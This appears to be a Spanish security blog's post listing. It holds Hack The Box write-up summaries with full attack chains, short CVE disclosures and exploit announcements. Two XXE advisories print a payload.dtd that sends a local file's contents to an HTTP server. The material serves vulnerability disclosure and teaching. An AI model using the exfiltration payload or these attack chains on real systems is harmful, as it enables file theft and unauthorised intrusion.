CVE Research on Hackpuntes

WingData WriteUp

Sat, 27 Jun 2026 00:00:00 +0000

WingData es una máquina de dificultad 🟩 Fácil de la plataforma Hack The Box, Season 10, creada por WackyH4cker. La cadena de ataque combina la explotación de un Wing FTP Server vulnerable para obtener acceso inicial, extracción y crackeo de credenciales desde ficheros de configuración, y escalada de privilegios mediante una vulnerabilidad en el módulo tarfile de Python.

🗺️ Cadena de Ataque

Reconocimiento → Puerto 80 + 22
│
▼
Enumeración web → ftp.wingdata.htb (Wing FTP Server v7.4.3)
│
▼
CVE-2025-47812 → RCE sin autenticación → Shell como wingftp
│
▼
/opt/wftpserver/Data/1/users/wacky.xml → Hash SHA-256 con sal
│
▼
Hashcat (modo 1410) → Contraseña en texto claro → SSH como wacky
│
▼
sudo -l → restore_backup_clients.py (root) → CVE-2025-4517
│
▼
Tar malicioso → path traversal → /etc/sudoers → root 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

Antes de empezar, añadimos la IP de la máquina al fichero /etc/hosts para poder usar el nombre de dominio en todas las herramientas:

VariaType WriteUp

Sat, 13 Jun 2026 00:00:00 +0000

VariaType es una máquina de dificultad 🟧 Media de la plataforma Hack The Box, Season 10. La cadena de ataque pasa por descubrir un repositorio Git expuesto en un portal interno, extraer credenciales del historial de commits, explotar una escritura arbitraria de ficheros en fontTools para obtener una shell, moverse lateralmente abusando de la inyección de comandos en FontForge mediante un archivo ZIP malicioso, y escalar a root aprovechando un path traversal en setuptools a través de una regla sudo mal configurada.

Interpreter WriteUp

Sat, 30 May 2026 00:00:00 +0000

Interpreter es una máquina de dificultad 🟨 Media de la plataforma Hack The Box, Season 10. La cadena de ataque combina la explotación de Mirth Connect 4.4.0 mediante deserialización Java insegura para obtener RCE sin autenticación, extracción de credenciales desde la base de datos interna, crackeo de un hash PBKDF2-HMAC-SHA256 y escalada de privilegios abusando de un servicio Flask con inyección en f-strings de Python.

🗺️ Cadena de Ataque

Reconocimiento → Puertos 22, 80, 443
│
▼
Enumeración web → Mirth Connect 4.4.0 (via JNLP)
│
▼
CVE-2023-43208 → Deserialización Java insegura → RCE como mirth
│
▼
/usr/local/mirthconnect/conf/mirth.properties → Credenciales BD
│
▼
MariaDB (mc_bdd_prod) → Hash PBKDF2-HMAC-SHA256 de sedric
│
▼
Hashcat (modo 10900) → snowflake1 → SSH como sedric
│
▼
/usr/local/bin/notif.py → Flask + eval() en f-strings → SSTI
│
▼
SUID bash → root 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

Antes de empezar, añadimos la IP de la máquina al fichero /etc/hosts:

MonitorsFour WriteUp

Sat, 23 May 2026 00:00:00 +0000

MonitorsFour es una máquina de dificultad 🟩 Fácil de la plataforma Hack The Box. La cadena de ataque comienza explotando un endpoint con IDOR y comparación laxa de PHP para filtrar credenciales de administrador, continúa con ejecución remota de código en Cacti 1.2.28 mediante CVE-2025-24367 y concluye escapando del contenedor Docker abusando de la API del daemon expuesta sin autenticación en la subred interna de Docker Desktop (CVE-2025-9074).

CVE-2019-19032 XMLBlueprint <= 16.191112 - Inyección XML (XXE)

Mon, 25 Nov 2019 00:00:00 +0000

Resumen

Se ha detectado una vulnerabilidad de inyección XML (XXE) basada en entidades externas (DTD) en el software XMLBlueprint versión 16.191112 y posiblemente anteriores. Esta vulnerabilidad está asociada al CVE-2019-19032 .

Impacto

Un usuario malintencionado, podría generar un archivo XML malicioso con la intención de causar una denegación de servicio a la aplicación o leer archivos arbitrarios del sistema.

Prueba de concepto

Iniciar un servidor web.

python -m SimpleHTTPServer 80

Subir el siguiente archivo payload.dtd al servidor.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

Crear un archivo de texto (secret.txt) en el escritorio con cualquier contenido.

CVE-2019-19031 Easy XML Editor <= 1.7.8 - Inyección XML

Fri, 22 Nov 2019 00:00:00 +0000

Resumen

Se ha detectado una vulnerabilidad de inyección XML basada en entidades externas (DTD) en el software Easy XML Editor versión 1.7.8 y posiblemente anteriores. Esta vulnerabilidad está asociada al CVE-2019-19031 .

Impacto

Un usuario malintencionado, podría generar un archivo XML malicioso con la intención de causar una denegación de servicio a la aplicación o leer archivos arbitrarios del sistema.

Prueba de concepto

Iniciar un servidor web.

python -m SimpleHTTPServer 80

Subir el siguiente archivo payload.dtd al servidor.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

Crear un archivo de texto (secret.txt) en el escritorio con cualquier contenido.

CVE-2019-15092 WordPress Plugin Import Export Users = 1.3.0 - CSV Injection

Thu, 22 Aug 2019 00:00:00 +0000

Impacto

Un usuario malicioso con permisos básicos de WordPress (suscriptor) podría ejecutar comandos en el equipo del administrador a través de inyecciones CSV en los campos display_name, first_name y last_name.

CVSS v3.1 Vector

AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVE-2019-14346 Adive Framework 2.0.7 - Cross-Site Request Forgery

Fri, 02 Aug 2019 00:00:00 +0000

Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en Adive Framework 2.0.7 permiten a un usuario malintencionado realizar acciones como cambiar la contraseña de un usuario a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2019-14346.

CVE-2019-14346

Adive Framework 2.0.7 – Cross-Site Request Forgery

www.adive.es

📅 Vulnerabilidad descubierta por Pablo Santiago el 02/08/2019
🐛 CVE-2019-14346
🔗 Link del software web y del github con el proyecto.
🐞 Versión vulnerable = 2.0.7 y anteriores probablemente.

Solución: Añadir tokens anti-CSRF en las peticiones.

CVE-2019-14347 Escalacion de privilegios en Adive

Fri, 02 Aug 2019 00:00:00 +0000

Adive Framework 2.0.7

https://www.adive.es/

Adive es un Framework PHP 7 para desarrollar webs y aplicaciones en línea,administra bases de datos MySQL, es una alternativa rápida, fácil y excelente para generar plantillas teniendo así la principal estructura visual de cualquier pagina web. Esta versión incluye un kit de herramientas para desarrolladores para generar tablas, campos y entidades, formas de control y bases de datos. Adive es un ambicioso proyecto de Schben, cuyo objetivo es convertir la «codificación» en «diseño».

CVE 2019-14348 JoomSport - for Sports - SQL injection

Mon, 29 Jul 2019 00:00:00 +0000

JoomSport 3.3– for Sports: Team & League, Football, Hockey & more

JoomSport es un plugin de WordPress desarrollado en 2009 que ofrece características esenciales para cualquier sitio de deporte, estándares de ligas de deportes, deportes de equipo con sus respectivas descripciones, historial de partidos, estadísticas y fotos, incluyendo los enfrentamientos entre los equipos con los goles o tantos anotados por ambos equipos y detalles de los partidos.

📅 Vulnerabilidad descubierta por Pablo Santiago el 29/07/2019
🐛 CVE-2019-14348
ExploitDB
🔗 Link del software JoomSport
🐞 Versión vulnerable = 3.3 y anteriores probablemente.

Solución: Parchear la vulnerabilidad para la siguiente versión filtrando los datos de entradas introducidos por el usuario.

CVE-2019-7400 Rukovoditel ERP & CRM 2.4.1 - Cross-Site Scripting Reflejado

Sun, 24 Mar 2019 00:00:00 +0000

CVE-2019-7400

Rukovoditel ERP & CRM 2.4.1 – Cross-Site Scripting Reflejado

Rukovoditel es una aplicación gratuita de gestión de proyectos de código abierto basada en web. Muy lejos de las aplicaciones tradicionales, Rukovoditel ofrece a los usuarios un enfoque más amplio y extenso de la gestión de proyectos. Sus opciones de personalización permiten a los usuarios crear entidades adicionales, modificar y especificar la relación entre ellas y generar los informes necesarios. La plataforma permite a los usuarios crear su propia aplicación que está específicamente diseñada para su actividad (CRM, ERP, HRM, WMS, etc.)

CVE-2018-19829 Integria IMS 5.0.83 - Cross-Site Request Forgery

Mon, 17 Dec 2018 00:00:00 +0000

Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en el software Integria IMS 5.0.83 han quedado solucionadas. Estas, permitían a un usuario malintencionado borrar usuarios de la aplicación a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2018-19829 .

CVE-2018-19829

Integria IMS 5.0.83 - Cross-Site Request Forgery (CSRF)

Integria IMS es un software de help desk sencillo, potente y fácil de usar. Dispone de inventario automatizado y controlado desde un solo interfaz. Agiliza los procesos reduciendo los tiempos y costes de gestión en sus proyectos. Gracias a sus informes personalizados estará informado y podrá ver fácilmente la gestión y calidad del servicio dado en tiempo real.

CVE-2018-19828 Integria IMS 5.0.83 - Cross-Site Scripting Reflejado

Fri, 14 Dec 2018 00:00:00 +0000

CVE-2018-19828

Integria IMS 5.0.83 - Cross-Site Scripting Reflejado

CVE-2018-18921 PHP Server Monitor 3.3.1 - Cross-Site Request Forgery

Mon, 03 Dec 2018 00:00:00 +0000

Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en el software PHP Server Monitor 3.3.1 han quedado solucionadas. Estas, permitían a un usuario malintencionado borrar servidores, logs y usuarios de la aplicación a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2018-18921 .

CVE-2018-18921

PHP Server Monitor 3.3.1 - Cross-Site Request Forgery (CSRF)

PHP Server Monitor es una aplicación web orientada a monitorizar la disponibilidad de servidores PHP, comprueba si están correctamente funcionando, monitoriza los servicios, genera gráficos e historial de actividad además de almacenar logs de errores y permitir notificaciones a través de email y Telegram, está desarrollada en PHP y MySQL.

CVE-2018-18922 Ticketly 1.0 - Escalación de Privilegios (Crear cuenta administrador)

Mon, 05 Nov 2018 00:00:00 +0000

Hoy, publico otra entrada relacionada con vulnerabilidades en aplicaciones web, esta vez, sobre un software de ticketing llamado Ticketly 1.0 desarrollado por AbiSoft. La vulnerabilidad encontrada, permite a un atacante crearse una cuenta de administrador en el sistema mediante una vulnerabilidad de Escalación de Privilegios , la vulnerabilidad ha sido asociada al CVE-2018-18922 .

Ticketly - CVE-2018-18922

Ticketly 1.0 - Privilege Escalation (Add Admin Account)

CVE-2018-18923 Ticketly 1.0 - Múltiples SQL Injections

Mon, 05 Nov 2018 00:00:00 +0000

En la entrada anterior , hemos visto una vulnerabilidad de Escalación de Privilegios en Ticketly 1.0 , en esta entrada, vamos a ver otras vulnerabilidades que he encontrado en este software, en concreto, múltiples SQL Injections, estas vulnerabilidades han sido asociadas al CVE-2018-18923 .

Ticketly - CVE-2018-18923

Ticketly 1.0 - Multiple SQL Injections

Ticketly 1.0, es un software de ticketing desarrollado por AbiSoft para ofrecer soporte a los usuarios sobre incidencias en los sistemas, está basado en PHP y MySQL.

CVE-2018-18478 Libre NMS 1.43 - Cross-Site Scripting Persistente

Fri, 19 Oct 2018 00:00:00 +0000

Esta entrada tiene como objetivo hacer pública la vulnerabilidad Cross-Site Scripting Persistente descubierta en el software Libre NMS 1.43 , la vulnerabilidad ha sido asociada al CVE-2018-18478 .

Libre NMS - CVE-2018-18478

Libre NMS 1.43 – Cross-Site Scripting Persistente

Libre Network Monitoring System, es un software utilizado para monitoreo de red basado en PHP / MySQL / SNMP que incluye el soporte para una amplia gama de hardware de red y sistemas operativos que incluyen Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP y muchos más.

CVE-2018-15918 Jorani Leave Management System 0.6.5 - SQL Injection

Mon, 03 Sep 2018 00:00:00 +0000

Esta entrada tiene como finalidad hacer pública la vulnerabilidad SQL Injection descubierta en el software Jorani Leave Management System 0.6.5 , la vulnerabilidad ha sido asociada al CVE-2018-159178 .

Jorani CVE-2018-15918

Jorani Leave Management System 0.6.5 – SQL Injection

Jorani es un sistema de administración de licencias desarrollado en PHP / MySQL bajo una licencia AGPL v3, está diseñado para proporcionar solicitud de flujos de trabajo simples y tiempo extra para organizaciones pequeñas.

CVE-2018-15917 Jorani Leave Management System 0.6.5 - Cross-Site Scripting Persistente

Sat, 01 Sep 2018 00:00:00 +0000

Esta entrada tiene como objetivo hacer pública la vulnerabilidad Cross-Site Scripting Persistente descubierta en el software Jorani Leave Management System 0.6.5 , la vulnerabilidad ha sido asociada al CVE-2018-15917 .

Jorani CVE-2018-15917

Jorani Leave Management System 0.6.5 - Cross-Site Scripting Persistente

CVE-2018-15873 Sentrifugo HRMS 3.2 - Blind SQL Injection

Sun, 26 Aug 2018 00:00:00 +0000

Esta entrada tiene como objetivo hacer pública la vulnerabilidad Blind SQL Injection descubierta en el software Sentrifugo HRMS 3.2 , la vulnerabilidad ha sido asociada al CVE-2018-15873 .

Sentrifugo HRMS 3.2 - CVE-2018-15873

Sentrifugo es un software open source que facilita la administración de recursos humanos en las organizaciones. Está repleto de módulos esenciales como evaluación, gestión del tiempo, gestión de licencias, gestión de empleados, análisis, contratación, verificación de antecedentes, servicio técnico y mucho más. Permite a los empleados contribuir de manera efectiva y productiva a los objetivos de la organización.

CVE-2018-15571 WordPress Plugin Export Users to CSV 1.1.1 - CSV Injection

Fri, 24 Aug 2018 00:00:00 +0000

Buenas a todos de nuevo, volviendo de las vacaciones 🏖️, MITRE me ha asignado otro CVE para plugins WordPress , esta vez, he descubierto una vulnerabilidad de ejecución remota de código a través de inyección CSV en el plugin Export Users to CSV - 1.1.1 , desarrollado por Matt Cromwell . Esta vulnerabilidad ya fue reportada, no ha sido reconocida por el autor y ha sido asociada al CVE-2018-15571 .

WordPress Plugin CVE-2018-15571

Export Users to CSV - 1.1.1 - Inyección CSV

CVE-2018-14430 WordPress Plugin Multi Step Form <= 1.2.5 - Múltiples Cross Site Scripting Reflejados

Sat, 21 Jul 2018 00:00:00 +0000

Durante otra de mis auditorias a plugins para WordPress , he descubierto varias vulnerabilidades del tipo Cross Site Scripting Reflejado (XSS) en el plugin Multi Step Form <= 1.2.5 , desarrollado por Mondula GmbH . Esta vulnerabilidad ya fue reportada y ha sido asociada al CVE-2018-14430 .

WordPress Plugin CVE-2018-14430

Multi Step Form <= 1.2.5 – Múltiples Cross Site Scripting Reflejados

CVE-2018-13832 WordPress Plugin All In One Favicon <= 4.6 - Autenticado Múltiples Cross Site Scripting Persistentes

Tue, 10 Jul 2018 00:00:00 +0000

Durante una de mis auditorias a plugins para WordPress , he descubierto varias vulnerabilidades del tipo Cross Site Scripting Persintente (XSS) en el plugin All In One Favicon <= 4.6 , desarrollado por Arne Franken de Techotronic . Esta vulnerabilidad ya fue reportada y ha sido asociada al CVE-2018-13832 .

WordPress Plugin CVE-2018-13832

All In One Favicon <= 4.6 – Autenticado Múltiples Cross Site Scripting Persistentes

Exploit CVE-2018-6389 - WordPress Core - Denial of Service

Thu, 08 Mar 2018 00:00:00 +0000

Últimamente estoy muy atento de las vulnerabilidades de los CMS y vengo a compartir con vosotros otro exploit que he desarrollado para la vulnerabilidad CVE-2018-6389 . Esta vulnerabilidad descubierta por Barak Tawily , permite lanzar un ataque de denegación de servicio (DOS) sobre las páginas webs desarrolladas con WordPress (se estima que aproximadamente el 29% de todas las webs que existen actualmente en el mundo están desarrolladas con este framework).

Exploit CVE-2018-6396 - Joomla Google Map Landkarten SQL Injection

Sun, 04 Mar 2018 00:00:00 +0000

Hoy quería compartir con vosotros un exploit que he desarrollado en Python para explotar una vulnerabilidad SQLi descubierta por Ihsan Sencan en el componente Google Map Landkarten , esta vulnerabilidad tiene asociado el CVE-2018-6396.

Joomla CVE-2018-6396

Joomla! Component Google Map Landkarten <= 4.2.3 – SQL Injection

📅 Vulnerabilidad descubierta por Ihsan Sencan el 16/02/2018
💣 Exploit desarrollado por Javier Olmedo el 03/03/2018
🐛 CVE-2018-6396
🔗 Link del software Google Map Landkarten
🐞 Versión vulnerable <= 4.2.3

¿Cómo usar este exploit?

En primer lugar, usa este exploit únicamente sobre sitios web administrados por ti o en los cuales tengas consentimiento para realizar está comprobación, en mi caso, me he creado una web con Joomla 3.8.5 en mi máquina local.

KRACK (Key Reinstallation Attacks): El ataque que vulnera el protocolo WPA2 de las redes WiFi

Wed, 18 Oct 2017 00:00:00 +0000

Ayer se hacía pública una de las noticias que más relevancia ha tenido en los últimos meses en el mundo de la ciberseguridad, el protocolo de seguridad WPA2, usado en la mayoría de redes WiFi de todo el mundo ha sido roto (vulnerado).

El investigador Mathy Vanhoef (@vanhoefm ) de la Universidad KU de Leuven ha descubierto esta vulnerabilidad y lo ha puesto en conocimiento de la comunidad para que los fabricantes saquen parches para solucionarlo, algunas empresas como Microsoft se han dado prisa y ya han puesto una solución a sus productos .

Script PowerShell para comprobar vulnerabilidad MS17-010

Tue, 16 May 2017 00:00:00 +0000

Buenas a todos, después de estar mucho tiempo sin escribir en el blog, me gustaría compartir con vosotros un script que he creado en PowerShell para comprobar la vulnerabilidad MS17-010 explotada por el ransomware WannaCry.

Este script debe de ser ejecutado desde el controlador de dominio para comprobar que equipos aún no cuentan con las actualizaciones publicadas por Microsoft para solucionar esta vulnerabilidad.

Explotación de vulnerabilidad CVE-2011-0762 con Metasploit en VSFTPD v2.3.4

Thu, 20 Oct 2016 00:00:00 +0000

En esta ocasión, os muestro como podemos explotar una vulnerabilidad con el Framework de seguridad Metasploit.

En concreto explotaremos la vulnerabilidad CVE-2011-0762 en el servicio VSFTPD v2.3.4 para conseguir una shell e interactuar con el servidor vulnerado.

Está vulnerabilidad tiene ya 5 años y es muy antigua, aunque nos podemos seguir encontrando algún servidor que nos permita «jugar», la finalidad de esta entrada es aprender como usar los principales comandos de Metasploit.

XXE - XML External Entity - El Nuevo SQLi

Sat, 30 May 2015 00:00:00 +0000

XXE (Xml eXternal Entity) es un tipo de vulnerabilidad que se produce en aplicaciones que hacen uso de «parsers» XML. Es decir aplicaciones que reciben como entrada un documento XML y para procesarlo hacen uso de alguna librería de parseo como LibXML, Xerces, MiniDOM, SAX etc. El atacante entonces puede aprovechar esta vulnerabilidad y enviar un documento XML especialmente manipulado para conseguir que el parser XML divulgue información del sistema, consuma recursos en exceso, ejecute comandos u otras formas de explotación.

Nueva vulnerabilidad SMB afecta a todas las versiones de Windows

Tue, 14 Apr 2015 00:00:00 +0000

Nuevo fallo al protocolo SMB (Server Message Block) que afecta a todas las versiones de Windows, esta vulnerabilidad ha sido clasificada como grave. Dicha vulnerabilidad permite que un atacante pueda robar las credenciales de servicios del usuario.

El error está relacionado con la forma en que Windows y otro software manejan algunas peticiones HTTP, y los investigadores dicen que afecta a una amplia gama de aplicaciones, incluyendo iTunes y Adobe Flash, algunos clientes de GitHub, Oracle y AVG Anti-virus. La vulnerabilidad, divulgada el lunes por los investigadores en Cylance, es una extensión de la investigación realizada por Aaron Spangler hace casi 20 años, conocida como “redirect to SMB”. Esta debilidad puede permitir a un atacante forzar a las víctimas para que se autentiquen mediante hijacking en un servidor controlado por el atacante, mediante ataques man-in-the-middle y luego enviarlos a servidores maliciosos SMB. Con lo que ello supone, robo de credenciales.

Accediendo al sistema de control de las gasolineras

Sun, 29 Mar 2015 00:00:00 +0000

Ayer por la noche estaba leyendo un articulo de Amador Aparicio de la Fuente en el que aseguraba que los conversores de serie a Ethernet del tipo GC-NET2 32-DTE que utilizan las gasolineras españolas para controlar los tanques de combustible eran vulnerables (más que vulnerables, mala securización), nada más leer el artículo algo me decía que ya había leído yo eso en algún sitio, hasta que recordé y ví el siguiente tweet , que en un principio no dí mucha importancia ni me dio por investigar.